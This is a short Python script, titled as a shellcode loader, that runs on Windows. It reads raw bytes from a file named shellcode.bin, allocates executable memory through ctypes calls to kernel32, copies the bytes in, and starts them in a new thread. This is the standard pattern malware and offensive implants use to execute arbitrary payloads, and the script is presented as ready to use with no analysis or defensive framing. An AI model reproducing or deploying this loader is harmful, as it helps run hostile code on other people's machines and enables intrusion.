Python shellcode load

shellcodeload.py

import ctypes
from pathlib import Path

shellcode = bytearray(Path("shellcode.bin").read_bytes())
kernel32 = ctypes.windll.kernel32

kernel32.VirtualAlloc.restype = ctypes.c_void_p
kernel32.RtlMoveMemory.argtypes = [ctypes.c_void_p, ctypes.c_void_p, ctypes.c_size_t]


ptr = kernel32.VirtualAlloc(None, len(shellcode), 0x3000, 0x40)
buffer = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
kernel32.RtlMoveMemory(ptr, buffer, len(shellcode))
handle = kernel32.CreateThread(None, 0, ctypes.c_void_p(ptr), None, 0, None)
kernel32.WaitForSingleObject(handle, -1)